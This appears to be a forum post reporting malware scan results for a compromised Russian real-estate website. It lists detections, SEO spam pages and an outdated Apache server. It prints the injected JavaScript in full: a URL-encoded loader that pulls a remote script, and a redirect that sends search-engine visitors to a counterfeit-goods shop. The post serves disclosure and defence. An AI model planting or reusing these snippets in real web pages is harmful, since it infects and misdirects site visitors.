See: https://www.virustotal.com/nl/url/977ae0a9025353c18eab3ca1ea4a23d297726c9d9af7ffce3f2472f3bba72203/analysis/1436632357/
See: Website Malware MW:JS:222 hxtp://appartment.ru/css/slide.js
SEO Spam MW:SPAM:SEO?g1 hxtp://appartment.ru
SEO Spam MW:SPAM:SEO?g1 hxtp://appartment.ru/juridical.html
SEO Spam MW:SPAM:SEO?g1 hxtp://appartment.ru/ipoteka.html
SEO Spam MW:SPAM:SEO?g1 hxtp://appartment.ru/insurance.html
SEO Spam MW:SPAM:SEO?g1 hxtp://appartment.ru/architecture.html
Known javascript malware. Details: http://sucuri.net/malware/entry/MW:JS:222
if(document.cookie.indexOf(‘logtime’)==-1){var expires=new Date();expires.setTime(expires.getTime()+246060*1000);document.cookie=‘logtime=Yes;path=/;expires=’+expires.toGMTString();document.write(unescape(‘%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%64%77%7A%2E%6F%72%67%2E%69%6E%2F%6A%70%2E%70%68%70%22%3E%3C%2F%73%63%72%69%70%74%3E’));}
Outdated Web Server Apache Found: Apache/2.2.4
Missed detection: http://killmalware.com/appartment.ru/company.html?id=36.0
243 malicious files detected: Detected reference to malicious blacklisted domain www.appartment.ru
/content/monclero.html
Severity: Suspicious
Reason: Detected suspicious redirection to external web resources at HTTP level.
Details: Detected suspicious JavaScript redirection
Offset: 627
Threat dump:
\ [[<script>^^var s=document.referrer;^^if(s.indexOf("google")ɬ || s.indexOf("bing")ɬ || s.indexOf("aol")ɬ || s.indexOf("yahoo")ɬ || s.indexOf("baidu")ɬ)^^{^^self.location='htxp://www.iwinterjackets.com/moncler-coats-jackets-c-1/';^^}^^</script>]]
Threat dump MD5: B9343BC3EC9C16E9F3BD0F7FE5CB9FE0
File size[byte]: 5315
File type: ASCII
Page/File MD5: EAD00AA7F135AD8B6EF88FCD89E778F4
Scan duration[sec]: 0.005000
Potentially suspicious → [SlideBox(‘BncreTable’,false,1);}}TmpImg=newImage();TmpImg.src=“/skins/default/images/arrow_manage_02.gif”;functionsetOpacity(value){frame=document.getElementById(‘fastsearch-iframe’);if(frame){frame.style.opacity=value/10;frame.style.filter=‘alpha(opacity=’+value10+‘)’;}}if(document.cookie.indexOf(‘logtime’)==-1){varexpires=newDate();expires.setTime(expires.getTime()+2460601000);document.cookie=‘logtime=Yes;path=/;expires=’+expires.toGMTString();document.write(unescape(‘%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%64%77%7A%2E%6F%72%67%2E%69%6E%2F%6A%70%2E%70%68%70%22%3E%3C%2F%73%63%72%69%70%74%3E’));}if(document.cookie.indexOf(‘logtime’)==-1){varexpires=newDate();expires.setTime(expires.getTime()+246060*1000);document.cookie=‘logtime=Yes;path=/;expires=’+expires.toGMTString();document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%]]
Also see: https://urlquery.net/report.php?id=1436632433632
Re: https://www.mywot.com/en/scorecard/adriver.ru?utm_source=addon&utm_content=popup
polonus